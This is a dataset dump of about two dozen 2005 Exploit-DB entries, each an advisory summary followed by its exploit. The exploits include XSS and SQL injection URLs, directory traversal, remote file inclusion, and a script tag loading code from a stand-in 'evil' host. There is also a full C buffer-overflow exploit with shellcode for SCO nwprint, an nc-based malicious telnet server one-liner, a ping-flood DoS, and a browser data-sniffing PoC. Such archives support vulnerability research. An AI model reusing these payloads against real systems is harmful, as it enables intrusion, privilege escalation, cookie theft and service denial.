QLWD/code_shield huggingface dataset:
标题: ASP-DEV XM Forum RC3 - IMG Tag Script Injection EDB-ID: 25324 CVE: 2005-1008 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/12958/info

XM Forum is reported prone to a script injection vulnerability.

An attacker can supply arbitrary HTML and script code through the BBCode IMG tag to trigger this issue and execute arbitrary script code in a user's browser.

XM Forum RC3 is reported vulnerable. It is possible that other versions are affected as well. 

[IMG]javasc+ript:alert(document.cookie)[/IMG] URL: https://www.exploit-db.com/exploits/25324
标题: SCO OpenServer 5.0.6/5.0.7 - NWPrint Command Line Argument Local Buffer Overflow EDB-ID: 25333 CVE: 2005-0993 类型: LOCAL 平台: UNIX 发布日期: 2005-04-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/12986/info

nwprint that is distributed with SCO OpenServer is prone to a local buffer overflow vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into sensitive process buffers. A local attacker can gain elevated privileges (lp user) by exploiting this issue. 

/*
 * minervini at neuralnoise dot com (c) 2005
 * sample code exploiting a buffer overflow vulnerability in
 * NetWare Unix Client 1.1.0Ba on SCO OpenServer 5.0.7;
 */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#ifndef _PATH
# define _PATH ("/usr/lib/nucrt/bin/nwprint")
#endif

/*
 * this shellcode may sound a bit tricky; most of the work
 * is caused by SCO's way to call the kernel, lcall  $0x7,$0x0,
 * translated by the assembler in "\x9a\x00\x00\x00\x00\x07\x00";
 * to avoid zeroes i push the NOT-ed bytes on the stack, NOT them
 * and then jump to %esp;
 * if anyone knows a shorter way to do this execve, a mail is appreciated.
 */

char *scode =
  "\x31\xc9"             // xor    %ecx,%ecx
  "\x89\xe3"             // mov    %esp,%ebx
  "\x68\xd0\x8c\x97\xff" // push   $0xff978cd0
  "\x68\xd0\x9d\x96\x91" // push   $0x91969dd0
  "\x89\xe2"             // mov    %esp,%edx
  "\x68\xff\xf8\xff\x6f" // push   $0x6ffff8ff
  "\x68\x9a\xff\xff\xff" // push   $0xffffff9a
  "\x80\xf1\x10"         // xor    $0x10,%cl
  "\xf6\x13"             // notb   (%ebx)
  "\x4b"                 // dec    %ebx
  "\xe2\xfb"             // loop   $-3
  "\x91"                 // xchg   %eax,%ecx
  "\x50"                 // push   %eax
  "\x54"                 // push   %esp
  "\x52"                 // push   %edx
  "\x50"                 // push   %eax
  "\x34\x3b"             // xor    $0x3b,%al
  "\xff\xe3";            // jmp    *%ebx

unsigned long get_sp (void) {
   __asm__("movl %esp,%eax");
}

int main (int argc, char **argv) {

   int i, slen = strlen(scode), offset = 0;
   long ptr, *lptr;
   char *buf;

   if (argc > 1)
     offset = strtoul(argv[1], NULL, 0);

   buf = (char *)malloc(1024);
   memset(buf, 0, 1024);

   for (i = 0; i < (901 - slen); i++)
     buf[i] = 0x90;

   printf("shellcode length: %d\n", slen);

   for (i = (901 - slen); i < 901; i++)
     buf[i] = scode[i - (901 - slen)];

   lptr = (long *)(buf + 901);

   printf("address: 0x%lx\n", ptr = (get_sp() - offset));

   for (i = 0; i < 30; i++)
     *(lptr + i) = (int)ptr;

   execl(_PATH, "nwprint", buf, NULL);

   return(0);
} URL: https://www.exploit-db.com/exploits/25333
标题: InterAKT Online MX Shop 1.1.1 - SQL Injection EDB-ID: 25323 CVE: 2005-0955 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/12957/info

MX Shop is reportedly affected by an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic.

Successful exploitation could result in a compromise of security properties of the application. The impact of this issue depends on the underlying database that is being used.

InterAKT Online MX Shop version 1.1.1 is reported prone to these issues; other versions might also be affected. 

http://localhost/MXShop/?mod=category&id_ctg='SQL_INJECTION&PHPSESSID=b1267b894a93572928850920df08126d URL: https://www.exploit-db.com/exploits/25323
标题: FastStone 4in1 Browser 1.2 - Web Server Directory Traversal EDB-ID: 25319 CVE: 2005-0950 类型: REMOTE 平台: WINDOWS 发布日期: 2005-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/12937/info

A vulnerability has been identified in the handling of certain types of requests by the 4in1 Browser Web server. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

This issue could be exploited to gain read access to files on a host using the vulnerable software. Read privileges granted to these files would be restricted by the permissions of the web server process.

This vulnerability is reported to affect FastStone 4in1 Browser version 1.2, previous versions might also be affected. 

http://www.example.com/.../.../.../.../.../.../windows/system.ini
http://www.example.com/..\..\..\..\..\..\..\..\windows/system.ini URL: https://www.exploit-db.com/exploits/25319
标题: The Includer 1.0/1.1 - Remote File Inclusion EDB-ID: 25314 CVE: 2005-0931 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/12926/info

The Includer is reported prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote script through an affected parameter.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

All versions of The Includer are considered to be vulnerable at the moment. This BID will be updated when more information becomes available. 

http://www.example.com/index.php?page=http://www.example.com/exploit URL: https://www.exploit-db.com/exploits/25314
标题: ACS Blog 0.8/0.9/1.0/1.1 - 'Name' HTML Injection EDB-ID: 25313 CVE: 2005-0945 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12921/info

ACS Blog is affected by an HTML injection vulnerability.

The issue affects the 'Name' field and may be exploited to execute arbitrary HTML and script code in the browser of the user when the user views an affected Web page. 

Name: &lt;script&gt;alert("xss");&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25313
标题: PhotoPost Pro 5.1 - 'showmembers.php?sl' SQL Injection EDB-ID: 25311 CVE: 2005-0929 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12920/info
   
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
   
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
   
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
   
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showmembers.php?sl='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25311
标题: PhotoPost Pro 5.1 - 'showphoto.php?photo' SQL Injection EDB-ID: 25312 CVE: 2005-0929 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12920/info
    
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
    
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
    
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
    
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showphoto.php?photo='SQL_ERROR URL: https://www.exploit-db.com/exploits/25312
标题: Iatek IntranetApp 2.3 - 'ad_click.asp?banner_id' SQL Injection EDB-ID: 25318 CVE: 2005-0948 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/12936/info

Multiple input-validation vulnerabilities reportedly affect PortalApp. These issues occur due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first set of issues includes cross-site scripting vulnerabilities that affect the 'content.asp' script. These issues arise because the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.

The second issue is an SQL-injection vulnerability that affects the 'ad_click.asp' script. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.

An attacker may leverage these issues to carry out cross-site scripting and SQL-injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/ad_click.asp?banner_id='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25318
标题: UApplication Ublog 1.0.x - Cross-Site Scripting EDB-ID: 25317 CVE: 2005-0925 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/12931/info

Ublog is affected by a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Ublog 1.0.4 and prior versions are reportedly affected by this issue. 

http://www.example.com/login.asp?msg=<script>alert(XSS)</script> URL: https://www.exploit-db.com/exploits/25317
标题: PhotoPost Pro 5.1 - 'showgallery.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25308 CVE: 2005-0928 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12920/info

Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.

The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

http://www.example.com/photos/showgallery.php?si=&sort=1&cat=501&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&friendemail=%3d'email%40yourfriend.com')this.value
%3d''%3b&password=
http://www.example.com/photos/showgallery.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=2&ppuser=&friendemail=%3d'email%40yourfriend.com')this.value%3d
''%3b&password=
http://www.example.com/photos/showgallery.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/photos/showmembers.php?si=&sort=4&cat=500&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25308
标题: PhotoPost Pro 5.1 - 'Slideshow.php?photo' Cross-Site Scripting EDB-ID: 25310 CVE: 2005-0928 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12920/info
  
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
  
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
  
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
  
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/slideshow.php?photo=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bpassword=&amp%3bsort=1&amp%3bcat=502 URL: https://www.exploit-db.com/exploits/25310
标题: Lighthouse Development Squirrelcart 1.5.5 - SQL Injection EDB-ID: 25320 CVE: 2005-0962 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/12944/info

Squirrelcart is affected by an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Squirrelcart 1.5.5 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?crn='SQL_INJECTION&action=show&show_products_mode=cat_click&PHPSESSID=2069dbe1646bdc46e4e78718e76e6d15 URL: https://www.exploit-db.com/exploits/25320
标题: PhotoPost Pro 5.1 - 'showmembers.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25309 CVE: 2005-0928 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12920/info
 
Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
 
The first set of issues are cross-site scripting vulnerabilities that affect the 'slideshow.php', 'showgallery.php', and 'showmembers.php' scripts. These issues arise as the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.
 
The second set of issues are SQL injection vulnerabilities that affect the 'showmembers.php' and 'showphoto.php' scripts. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.
 
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/photos/showmembers.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=500&ppuser=
http://www.example.com/photos/showmembers.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sort=4&cat=500&ppuser= URL: https://www.exploit-db.com/exploits/25309
标题: Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow EDB-ID: 25303 CVE: 2005-0468 类型: DOS 平台: LINUX 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12919/info

Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server. 

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23 URL: https://www.exploit-db.com/exploits/25303
标题: Tincat Network Library - Remote Buffer Overflow EDB-ID: 25291 CVE: 2005-0906 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/12912/info

Tincat is reported prone to a remote buffer overflow vulnerability.

It is reported that this issue exists in the function responsible for logging users that have connected to a game server.

A successful attack can allow an attacker to gain unauthorized access to a vulnerable computer in the context of a game server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25291.zip URL: https://www.exploit-db.com/exploits/25291
标题: Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index (PoC) EDB-ID: 25287 CVE: 2005-0750 类型: DOS 平台: LINUX 发布日期: 2005-03-28 漏洞利用脚本: /*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/926/

source: https://www.securityfocus.com/bid/12911/info

A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.

A local attacker may leverage this issue to gain escalated privileges on an affected computer. 
*/

#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

main()
{
        int ctl;

        /* Open HCI socket  */
        if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
        {
                perror("Can't open HCI socket.");
                exit(1);
        }
} URL: https://www.exploit-db.com/exploits/25287
标题: Netcomm NB1300 Modem/Router - Remote Denial of Service EDB-ID: 25277 CVE: 2005-0895 类型: DOS 平台: HARDWARE 发布日期: 2005-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/12901/info

Netcomm NB1300 Modem/Router is reported prone to a remote denial of service vulnerability.

An attacker can exploit this condition by sending a large amount of ping requests to the device.

A successful attack can deny service to legitimate users. 

Send four consecutive requests of
ping -l 65500 -w 0 -t <IP of DSL Modem> URL: https://www.exploit-db.com/exploits/25277
标题: ESMI PayPal StoreFront 1.7 - Cross-Site Scripting EDB-ID: 25280 CVE: 2005-0936 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/12904/info

ESMI PayPal Storefrom is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hv/ecdis/products1h.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&id2=10&subcat=Asus&p=products1 URL: https://www.exploit-db.com/exploits/25280
标题: ESMI PayPal StoreFront 1.7 - 'products1.php?id2' SQL Injection EDB-ID: 25279 CVE: 2005-0935 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/12903/info
 
ESMI PayPal Storefront is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/hv/ecdis/products1.php?id=6&id2='SQLINJECTION&subcat=Asus&p=products1 URL: https://www.exploit-db.com/exploits/25279
标题: PHPMyDirectory 10.1.3 - 'review.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25276 CVE: 2005-0896 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/12900/info

phpMyDirectory is prone to a cross-site scripting vulnerability.

The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

phpMyDirectory 10.1.3-rel is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script> URL: https://www.exploit-db.com/exploits/25276
标题: Dream4 Koobi CMS 4.2.3 - 'index.php' SQL Injection EDB-ID: 25273 CVE: 2005-0890 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/12896/info

Koobi CMS is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?p=articles&area=[SQL Code] URL: https://www.exploit-db.com/exploits/25273
标题: Maxthon Web Browser 1.2 - Search Bar Information Disclosure EDB-ID: 25274 CVE: 2005-0905 类型: REMOTE 平台: WINDOWS 发布日期: 2005-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/12898/info

Maxthon Web Browser is reported prone to an information disclosure vulnerability. This issue may allow an attacker to disclose search bar contents from an affected browser.

Information disclosed through the exploitation of this vulnerability may aid an attacker in carrying out other attacks against a vulnerable computer.

Maxthon Web Browser 1.2.0 is reported to be vulnerable to this issue. Prior versions may be affected as well.

<html>
<head>
<title>Maxthon's Search Bar Information Disclosure PoC</title>
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
</head>
<body onload="body_onload()">
Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" />
</body>
</html> URL: https://www.exploit-db.com/exploits/25274